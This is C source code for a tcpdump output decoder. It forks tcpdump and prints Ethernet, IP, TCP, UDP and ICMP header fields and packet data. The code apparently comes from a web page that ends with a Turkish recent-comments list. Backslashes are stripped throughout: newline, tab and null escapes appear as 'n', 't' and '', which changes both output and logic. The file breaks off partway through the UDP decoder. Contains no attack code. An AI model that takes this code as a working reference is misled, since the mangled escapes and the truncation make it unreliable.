/* Skip remaining lines of current packet. Note that this causes a */
/* longjmp(), so a succeeding "return" from a function isn't needed. */
#define nextpkt() for ( ; ; ) (void)getpkt()
/* Display a separator line between packet decodes. */
#define prsep()
printf(
"-----------------------------------------------------------------n"
)
/* My own preferred basic data types -- amend per target machine. */
typedef char boolean;
typedef float float4;
typedef double float8;
typedef char int1;
typedef short int2;
typedef int int4;
typedef unsigned char uint1;
typedef unsigned short uint2;
typedef unsigned int uint4;
typedef unsigned char uchar;
void main(int, char **);
static boolean bflag = FALSE;
static char *cookargs[MAXCOOKARGS+1];
static boolean cookedflag = FALSE;
static boolean dataflag = FALSE;
static uint2 datalen = 0;
static char *dflt_cookargs[] = {
COOKER, "-enx", "-s10240", "-r-", (char *)NULL
};
static char dip[16];
static boolean isip;
static jmp_buf jmpbuf;
static boolean nodataflag = FALSE;
static boolean noipflag = FALSE;
static boolean nolinkflag = FALSE;
static int npkts_shown = 0;
static char *off = "off,"; /* "off" in middle of list */
static char *off_e = "off"; /* "off" at end of list */
static char *on = "on, "; /* "on" in middle of list */
static char *on_e = "on"; /* "on" at end of list */
static int pagewidth = NCOLS;
static char *pkt;
static boolean ppflag = FALSE;
static uint1 proto;
static boolean sflag = FALSE;
static boolean sbflag = FALSE;
static char sip[16];
static boolean terseflag = FALSE;
static boolean trackflag = FALSE;
static char *unknown = "<unknown>";
static void error(char *);
static char *etheraddr(char *);
static char *ether_proto(char *);
static void fork_tcpdump(int, char **);
static uint1 getbyte(char **);
static uint4 getlongword(char **);
static char *getpkt(void);
static uint2 getword(char **);
static char *icmpcode(uint1, uint1);
static char *icmptype(uint1);
static char *ipaddr(char **);
static char *ip_proto(uint1);
static char nextchar(char **);
static char *rmwspace(char *);
static char *showdata(char *);
static char *showhdr(char *);
static char *showicmp(char *);
static char *showip(char *);
static void showpkt(char *);
static char *showtcp(char *);
static char *showudp(char *);
static char *skip(char *, uint2);
static char *svcname(uint2, char *, boolean);
static void usage(void);
static void error (
char *msg
) {
fprintf(stderr, "***Error: %sn", msg);
exit(1);
}
static char *etheraddr (
char *eaddr
) {
static char formatted[18];
int i;
int j;
for (i = j = 0; i < 6; i++)
if (eaddr[1] == ':') {
formatted[j++] = '0';
formatted[j++] = toupper(eaddr[0]);
formatted[j++] = ':';
eaddr += 2;
}
else {
formatted[j++] = toupper(eaddr[0]);
formatted[j++] = toupper(eaddr[1]);
formatted[j++] = ':';
eaddr += 3;
}
formatted[j-1] = '';
return formatted;
}
static char *ether_proto (
char *type
) {
if (strcmp(type, "0800") == 0)
return "IP";
elif (strcmp(type, "0806") == 0)
return "ARP";
elif (strcmp(type, "8035") == 0)
return "RARP";
else
return type;
}
static void fork_tcpdump (
int argc,
char **argv
) {
int fd[2];
int i;
pid_t pid;
/* Required "tcpdump" flags. */
i = 0;
while (dflt_cookargs[i]) {
cookargs[i] = dflt_cookargs[i];
i++;
}
while (argc-- > 0) {
if (i >= MAXCOOKARGS) error("Too many expressions");
cookargs[i++] = *argv++;
}
cookargs[i] = (char *)NULL;
/* Fork tcpdump to cook our input. */
if (pipe(fd)) error("pipe() failed");
if ((pid=fork()) < 0) error("fork() failed");
if (pid == 0) {
(void)close(1);
if (dup(fd[1]) != 1) error("dup() failed");
(void)close(fd[0]);
(void)close(fd[1]);
execvp(COOKER, cookargs);
error("execvp() failed");
}
(void)close(0);
if (dup(fd[0]) != 0) error("dup() failed");
(void)close(fd[0]);
(void)close(fd[1]);
}
static uint1 getbyte (
char **pkt
) {
char byte[1*2+1]; /* ASCII representation of a byte */
unsigned int val;
byte[0] = nextchar(pkt);
byte[1] = nextchar(pkt);
byte[2] = '';
(void)sscanf(byte, "%x", &val);
return (uint1)val;
}
static uint4 getlongword (
char **pkt
) {
char longword[4*2+1]; /* ASCII representation of a longword */
unsigned long val;
longword[0] = nextchar(pkt);
longword[1] = nextchar(pkt);
longword[2] = nextchar(pkt);
longword[3] = nextchar(pkt);
longword[4] = nextchar(pkt);
longword[5] = nextchar(pkt);
longword[6] = nextchar(pkt);
longword[7] = nextchar(pkt);
longword[8] = '';
(void)sscanf(longword, "%lx", &val);
return (uint4)val;
}
static char *getpkt (
) {
static boolean been_here_already = FALSE;
static char pktbuf[MAXPKT+1];
if (fgets(pktbuf, MAXPKT+1, stdin) == (char *)NULL) exit(0);
/* Line without leading <tab> means start of new packet. */
if (*pktbuf == 't')
return rmwspace(pktbuf);
elif (! been_here_already) { /* setjmp() won't have been called */
been_here_already = TRUE; /* before reading 1st packet */
return pkt = pktbuf;
}
else {
if (datalen > 0)
printf("nt<*** Rest of data missing from packet dump ***>n");
pkt = pktbuf;
longjmp(jmpbuf, 1);
}
}
static uint2 getword (
char **pkt
) {
char word[2*2+1]; /* ASCII representation of a word */
unsigned int val;
word[0] = nextchar(pkt);
word[1] = nextchar(pkt);
word[2] = nextchar(pkt);
word[3] = nextchar(pkt);
word[4] = '';
(void)sscanf(word, "%x", &val);
return (uint2)val;
}
static char *icmpcode (
uint1 type,
uint1 code
) {
char *bad;
char *descr;
bad = "<*** CORRUPT ***>";
descr = (char *)NULL;
switch (type) {
case ECHO_REPLY:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case DST_UNREACH:
switch (code) {
case NET_UNREACH: descr = "network-unreachable"; break;
case HOST_UNREACH: descr = "host-unreachable"; break;
case PROTO_UNREACH: descr = "protocol-unreachable"; break;
case PORT_UNREACH: descr = "port-unreachable"; break;
case DF_SET: descr = "frag-needed-but-DF-set"; break;
case SRCROUTE_FAILED: descr = "source-route-failed"; break;
case DSTNET_UNKNOWN: descr = "destination-network-unknown"; break;
case DSTHOST_UNKNOWN: descr = "destination-host-unknown"; break;
case SRCHOST_ISOLATED: descr = "source-host-isolated"; break;
case DSTNET_PROHIB: descr = "dest-net-admin-prohibited"; break;
case DSTHOST_PROHIB: descr = "dest-host-admin-prohibited"; break;
case NET_UNREACH_TOS: descr = "network-unreachable-for-TOS"; break;
case HOST_UNREACH_TOS: descr = "host-unreachable-for-TOS"; break;
case COMM_PROHIB: descr = "trafffic-prohibited-by-filter"; break;
case HOST_PREC_VIOL: descr = "host-precedence-violation"; break;
case PREC_CUTOFF: descr = "precedence-cutoff-in-effect"; break;
default: descr = bad; break;
}
break;
case SRC_QUENCH:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case REDIRECT:
switch (code) {
case REDIR_FOR_NET: descr = "route-wrong-for-network"; break;
case REDIR_FOR_HOST: descr = "route-wrong-for-host"; break;
case REDIR_FOR_TOSNET: descr = "route-wrong-for-TOS-and-net"; break;
case REDIR_FOR_TOSHOST: descr = "route-wrong-for-TOS-and-host"; break;
default: descr = bad; break;
}
break;
case ECHO_REQ:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case ROUTER_AD:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case ROUTER_SOL:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case TIME_EXCEED:
switch (code) {
case TTL_ZERO: descr = "TTL-reached-zero"; break;
case REASS_TIMEOUT: descr = "reassembly-timer-expired"; break;
default: descr = bad; break;
}
break;
case PARAM_PROB:
switch (code) {
case IP_HDR_BAD: descr = "IP-header-bad"; break;
case MISSING_OPT: descr = "required-option-is-missing"; break;
default: descr = bad; break;
}
break;
case TIME_REQ:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case TIME_REPLY:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case INFO_REQ:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case INFO_REPLY:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case MASK_REQ:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
case MASK_REPLY:
switch (code) {
case 0: break;
default: descr = bad; break;
}
break;
default:
break;
}
return descr;
}
static char *icmptype (
uint1 type
) {
char *descr;
switch (type) {
case ECHO_REPLY: descr = "echo-reply"; break;
case DST_UNREACH: descr = "destination-unreachable"; break;
case SRC_QUENCH: descr = "source-quench"; break;
case REDIRECT: descr = "redirect"; break;
case ECHO_REQ: descr = "echo-request"; break;
case ROUTER_AD: descr = "router-advertisement"; break;
case ROUTER_SOL: descr = "router-solicitation"; break;
case TIME_EXCEED: descr = "time-exceeded"; break;
case PARAM_PROB: descr = "parameter-problem"; break;
case TIME_REQ: descr = "timestamp-request"; break;
case TIME_REPLY: descr = "timestamp-reply"; break;
case INFO_REQ: descr = "information-request"; break;
case INFO_REPLY: descr = "information-reply"; break;
case MASK_REQ: descr = "address-mask-request"; break;
case MASK_REPLY: descr = "address-mask-reply"; break;
default: descr = unknown; break;
}
return descr;
}
static char *ipaddr (
char **pkt
) {
static char addr[16];
uint2 byte1;
uint2 byte2;
uint2 byte3;
uint2 byte4;
/* We don't use inet_ntoa() because it wants a socket structure. */
byte1 = (uint2)getbyte(pkt);
byte2 = (uint2)getbyte(pkt);
byte3 = (uint2)getbyte(pkt);
byte4 = (uint2)getbyte(pkt);
(void)sprintf(addr, "%d.%d.%d.%d", byte1, byte2, byte3, byte4);
return addr;
}
static char *ip_proto (
uint1 code
) {
char *name;
/* A simple table won't do, as the codes aren't contiguous. */
switch (code) {
case IP:
name = "IP"; break;
case ICMP:
name = "ICMP"; break;
case IGMP:
name = "IGMP"; break;
case GGP:
name = "GGP"; break;
case IPENCAP:
name = "IPENCAP"; break;
case ST:
name = "ST"; break;
case TCP:
name = "TCP"; break;
case EGP:
name = "EGP"; break;
case PUP:
name = "PUP"; break;
case UDP:
name = "UDP"; break;
case HMP:
name = "HMP"; break;
case XNSIDP:
name = "XNSIDP"; break;
case RDP:
name = "RDP"; break;
case ISOTP4:
name = "ISOTP4"; break;
case XTP:
name = "XTP"; break;
case IDPRCMTP:
name = "IDPRCMTP"; break;
case RSVP:
name = "RSVP"; break;
case VMTP:
name = "VMTP"; break;
case OSPF:
name = "OSPF"; break;
case IPIP:
name = "IPIP"; break;
case ENCAP:
name = "ENCAP"; break;
default:
name = unknown; break;
}
return name;
}
void main (
int argc,
char **argv
) {
/* Command line options. */
while (--argc > 0 && **++argv == '-')
if (strcmp(*argv, "-data") == 0)
dataflag = nolinkflag = noipflag = TRUE;
elif (strcmp(*argv, "-s") == 0) sflag = TRUE;
elif (strcmp(*argv, "-b") == 0) bflag = TRUE;
elif (strcmp(*argv, "-sb") == 0) sbflag = TRUE;
elif (strcmp(*argv, "-terse") == 0) terseflag = TRUE;
elif (strcmp(*argv, "-track") == 0) trackflag = TRUE;
elif (strcmp(*argv, "-nodata") == 0) nodataflag = TRUE;
elif (strcmp(*argv, "-nolink") == 0) nolinkflag = TRUE;
elif (strcmp(*argv, "-noip") == 0) noipflag = TRUE;
elif (strcmp(*argv, "-cooked") == 0) cookedflag = TRUE;
elif (strcmp(*argv, "-pp") == 0) ppflag = TRUE;
elif (strcmp(*argv, "-h") == 0) usage();
elif (strcmp(*argv, "-w") == 0) {
if (--argc <= 0) error("-w needs a numeric argument");
if ((pagewidth=atoi(*++argv)) < 1) error("-w value too small");
}
else error("Unknown command line flag");
if (! cookedflag)
fork_tcpdump(argc, argv);
elif (argc != 0)
fprintf(stderr, "input is cooked -- ignoring tcpdump expressionsn");
pkt = getpkt();
for ( ; ; ) if (! setjmp(jmpbuf)) showpkt(pkt);
exit(0);
}
static char nextchar (
char **pkt
) {
if (! **pkt) *pkt = getpkt();
return *(*pkt)++;
}
static char *rmwspace (
reg char *pktbuf
) {
static char cleanpkt[MAXPKT+1];
reg char *pkt;
pkt = cleanpkt;
while (*pktbuf) {
if (! isspace(*pktbuf)) *pkt++ = *pktbuf;
pktbuf++;
}
*pkt = '';
return cleanpkt;
}
static char *showdata (
char *pkt
) {
uint1 byte;
int col;
char *descr;
if (dataflag)
putchar('t');
elif (terseflag)
printf("DATA:t");
else {
switch (proto) {
case TCP: descr = "TCP"; break;
case UDP: descr = "UDP"; break;
case ICMP: descr = "ICMP"; break;
default: descr = unknown; break;
}
printf("%s Datant", descr);
}
if (nodataflag) {
uint2 ndatabytes = datalen;
datalen = 0;
printf("%d bytesn", ndatabytes);
return skip(pkt, ndatabytes);
}
if (datalen == 0) {
printf("<No data>n");
return pkt;
}
switch (bflag) {
case TRUE:
for (col = 1; datalen > 0; datalen--, col++) {
byte = getbyte(&pkt);
if (byte == 'n') {
putchar('n');
byte = 't';
col = 0;
}
elif (col > pagewidth) {
printf("%snt", sbflag? "<break>": "");
col = 1;
}
if (byte != 't' && byte != 'n' && !isprint(byte)) byte = '.';
putchar(byte);
}
break;
case FALSE:
for ( ; datalen > 0; datalen--) {
byte = getbyte(&pkt);
if (byte == 'n') {
putchar('n');
byte = 't';
}
if (byte != 't' && byte != 'n' && !isprint(byte)) byte = '.';
putchar(byte);
}
break;
default:
error("Tri-valued boolean!");
}
putchar('n');
return pkt;
}
static char *showhdr (
char *pkt
) {
char efrom[18]; /* Source Ethernet address */
char eto[18]; /* Destination Ethernet address */
char time[16]; /* Packet timestamp */
char etype[20]; /* Ethernet type (decoded to ASCII) */
if (ppflag) {
(void)sscanf(pkt, "%s", time);
isip = TRUE; /* tcpdump doesn't supply link type */
if (! nolinkflag)
if (terseflag) printf("TIME:t%sn", time);
else printf("tTimestamp:ttt%sn", time);
return getpkt();
}
(void)sscanf(pkt, "%s %s %s %s", time, efrom, eto, etype);
isip = (boolean)(strcmp(etype, "0800") == 0);
(void)strcpy(efrom, etheraddr(efrom));
(void)strcpy(eto, etheraddr(eto));
if (! nolinkflag)
if (terseflag) {
printf("TIME:t%sn", time);
printf("LINK:t%s -> %s type=%sn", efrom, eto, ether_proto(etype));
}
else {
printf("tTimestamp:ttt%sn", time);
printf("tSource Ethernet Address:t%sn", efrom);
printf("tDestination Ethernet Address:t%sn", eto);
printf("tEncapsulated Protocol:tt%sn", ether_proto(etype));
}
return getpkt();
}
static char *showicmp (
char *pkt
) {
uint2 cksum;
uint1 code;
uint2 nskipped;
uint1 type;
char *why;
type = getbyte(&pkt); nskipped = sizeof(type);
code = getbyte(&pkt); nskipped += sizeof(code);
cksum = getword(&pkt); nskipped += sizeof(cksum);
/* The length of the ICMP packet isn't recorded in the packet itself. */
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;
why = icmpcode(type, code);
if (dataflag) {
printf(
"%s -> %s ICMP%s%s%s%sn",
sip, dip,
why? "n": " ", icmptype(type), why? " because ": "", why? why: ""
);
return pkt; /* Header is read; nothing to skip */
}
if (terseflag)
printf(
"ICMP:t%s%s%s cksum=%04Xn",
icmptype(type), why? " because ": "", why? why: "", cksum
);
else {
printf("ICMP Headern");
printf(
"tType:tttt%s%s%sn",
icmptype(type), why? "ntBecause:ttt": "", why? why: ""
);
printf("tChecksum:ttt0x%04Xn", cksum);
}
return pkt;
}
static char *showip (
char *pkt
) {
uint2 cksum;
uint2 dgramlen;
uint2 flags;
uint2 hlen;
uint2 id;
uint2 nskipped;
uint1 servtype;
uint1 ttl;
uint1 ver;
ver = getbyte(&pkt); nskipped = sizeof(ver);
if ((ver & 0xF0) != 0x40) {
if (terseflag) printf("IP:tnot v4n");
else
printf(
"IP Headernt<Not an IPv4 datagram (ver=%d)>n",
(ver & 0xF0) >> 4
);
nextpkt();
}
servtype = getbyte(&pkt); nskipped += sizeof(servtype);
dgramlen = getword(&pkt); nskipped += sizeof(dgramlen);
id = getword(&pkt); nskipped += sizeof(id);
flags = getword(&pkt); nskipped += sizeof(flags);
ttl = getbyte(&pkt); nskipped += sizeof(ttl);
proto = getbyte(&pkt); nskipped += sizeof(proto);
cksum = getword(&pkt); nskipped += sizeof(cksum);
(void)strcpy(sip, ipaddr(&pkt)); nskipped += 4;
(void)strcpy(dip, ipaddr(&pkt)); nskipped += 4;
hlen = (ver & 0x0F) * 4;
datalen = dgramlen - hlen;
if (noipflag) return skip(pkt, hlen - nskipped);
printf("%s", terseflag? " IP:t": "IP Headern");
if (terseflag) {
printf(
"%s -> %s hlen=%d TOS=%02X dgramlen=%d id=%04Xn",
sip, dip, hlen, (uint2)servtype, dgramlen, id
);
printf(
"tMF/DF=%s/%s frag=%d TTL=%d proto=%s cksum=%04Xn",
(flags & MF) == MF? "1": "0", (flags & DF) == DF? "1": "0",
flags & FRAGOFF, ttl, ip_proto(proto), cksum
);
}
else {
printf("tVersion:ttt4ntHeader Length:ttt%d bytesn", hlen);
printf("tService Type:ttt0x%02Xn", (uint2)servtype);
printf("tDatagram Length:tt%d bytesn", dgramlen);
printf("tIdentification:ttt0x%04Xn", id);
printf(
"tFlags:ttttMF=%s DF=%sn",
(flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e
);
printf("tFragment Offset:tt%dn", flags & FRAGOFF);
printf("tTTL:tttt%dn", ttl);
printf("tEncapsulated Protocol:tt%sn", ip_proto(proto));
printf("tHeader Checksum:tt0x%04Xn", cksum);
printf("tSource IP Address:tt%sn", sip);
printf("tDestination IP Address:tt%sn", dip);
}
if (hlen > IPHDRLEN) {
if (! terseflag) printf("t<Options not displayed>n");
pkt = skip(pkt, hlen - IPHDRLEN);
}
return pkt;
}
static void showpkt (
reg char *pkt
) {
isip = FALSE;
if (++npkts_shown > 1) prsep();
if (! dataflag) printf("Packet %dn", npkts_shown);
pkt = showhdr(pkt);
if (! isip) {
if (! dataflag)
printf("t<*** No decode support for non-IP protocols ***>n");
nextpkt(); /* Doesn't return */
}
pkt = showip(pkt);
switch (proto) {
case TCP:
pkt = showtcp(pkt);
pkt = showdata(pkt);
break;
case UDP:
pkt = showudp(pkt);
pkt = showdata(pkt);
break;
case ICMP:
pkt = showicmp(pkt);
pkt = showdata(pkt);
break;
default:
printf("t<*** No decode support for encapsulated protocol ***>n");
datalen = 0;
nextpkt(); /* Doesn't return */
}
/* "tcpdump" sometimes displays data at the end of a packet which, given */
/* the recorded Datagram Length, don't belong to the packet. */
if (*pkt && sflag)
printf("t<*** Spurious data at end: "%s" ***>n", pkt);
(void)getpkt(); /* Load start of next packet */
}
static char *showtcp (
char *pkt
) {
uint4 ack;
uint2 advert;
uint2 cksum;
uint2 dport;
uint4 expect;
uint2 flags;
uint2 hlen;
uint2 nskipped;
uint4 seq;
uint2 sport;
uint2 urgptr;
sport = getword(&pkt); nskipped = sizeof(sport);
dport = getword(&pkt); nskipped += sizeof(dport);
seq = getlongword(&pkt); nskipped += sizeof(seq);
ack = getlongword(&pkt); nskipped += sizeof(ack);
flags = getword(&pkt); nskipped += sizeof(flags);
advert = getword(&pkt); nskipped += sizeof(advert);
cksum = getword(&pkt); nskipped += sizeof(cksum);
urgptr = getword(&pkt); nskipped += sizeof(urgptr);
hlen = (flags >> 12 & 0x0F) * 4;
datalen -= hlen;
if (dataflag) {
char dname[20];
char sname[20];
(void)strcpy(sname, svcname(sport, "tcp", TRUE));
(void)strcpy(dname, svcname(dport, "tcp", TRUE));
printf("%s.%s -> %s.%s over TCPn", sip, sname, dip, dname);
return skip(pkt, hlen - nskipped);
}
if (trackflag) {
expect = seq + datalen;
if ((flags & SYN) == SYN || (flags & FIN) == FIN) expect++;
}
if (terseflag) {
printf(" TCP:tport %d -> %d seq=%010lu", sport, dport, seq);
if (trackflag) printf(" (expect=%010lu)", expect);
printf(" ack=%010lun", ack);
printf(
"thlen=%d (data=%u) UAPRSF=%s%s%s%s%s%s",
hlen, datalen,
(flags & URG) == URG? "1": "0", (flags & ACK) == ACK? "1": "0",
(flags & PSH) == PSH? "1": "0", (flags & RST) == RST? "1": "0",
(flags & SYN) == SYN? "1": "0", (flags & FIN) == FIN? "1": "0"
);
printf(" wnd=%d cksum=%04X urg=%dn", advert, cksum, urgptr);
}
else {
printf("TCP Headern");
printf(
"tSource Port:ttt%d (%s)n",
sport, svcname(sport, "tcp", FALSE)
);
printf(
"tDestination Port:tt%d (%s)n",
dport, svcname(dport, "tcp", FALSE)
);
printf("tSequence Number:tt%010lun", seq);
if (trackflag) printf("tExpect peer ACK:tt%010lun", expect);
printf("tAcknowledgement Number:tt%010lun", ack);
printf("tHeader Length:ttt%d bytes (data=%u)n", hlen, datalen);
printf(
"tFlags:%s%s%s%s%s%sn%s%s%s%s%s%sn",
"ttttURG=", (flags & URG) == URG? on: off,
" ACK=", (flags & ACK) == ACK? on: off,
" PSH=", (flags & PSH) == PSH? on_e: off_e,
"tttttRST=", (flags & RST) == RST? on: off,
" SYN=", (flags & SYN) == SYN? on: off,
" FIN=", (flags & FIN) == FIN? on_e: off_e
);
printf("tWindow Advertisement:tt%d bytesn", advert);
printf("tChecksum:ttt0x%04Xn", cksum);
printf("tUrgent Pointer:ttt%dn", urgptr);
}
if (hlen > TCPHDRLEN) {
if (! terseflag) printf("t<Options not displayed>n");
pkt = skip(pkt, hlen - TCPHDRLEN);
}
return pkt;
}
static char *showudp (
char *pkt
) {
uint2 cksum;
uint2 dgramlen;
uint2 dport;
uint2 nskipped;
uint2 sport;
sport = getword(&pkt); nskipped = sizeof(sport);
dport = getword(&pkt); nskipped += sizeof(dport);
dgramlen = getword(&pkt); nskipped += sizeof(dgramlen);
cksum = getword(&pkt); nskipped += sizeof(cksum);
/* The size of the IP data field should equal the UDP packet length. */
if (datalen != dgramlen) {
printf("t<*** Packet length corrupt ***>n");
nextpkt(); /* Doesn't return */
}
datalen -= UDPHDRLEN;
if (dataflag) {
char dname[20];
char sname[20];
(void)strcpy(sname, svcname(sport, "udp", TRUE));
(void)strcpy(dname, svcname(dport, "udp", TRUE));
printf("%s.%s -> %s.%s over UDPn", sip, sname, dip, dname);
return pkt; /* Header is read; nothing to skip */
}
Son yorumlar
19 saat 47 dk önce
2 gün 22 saat önce
6 gün 3 saat önce
6 gün 12 saat önce
6 gün 12 saat önce
1 hafta 23 saat önce
1 hafta 1 gün önce
1 hafta 2 gün önce
1 hafta 2 gün önce
3 hafta 5 saat önce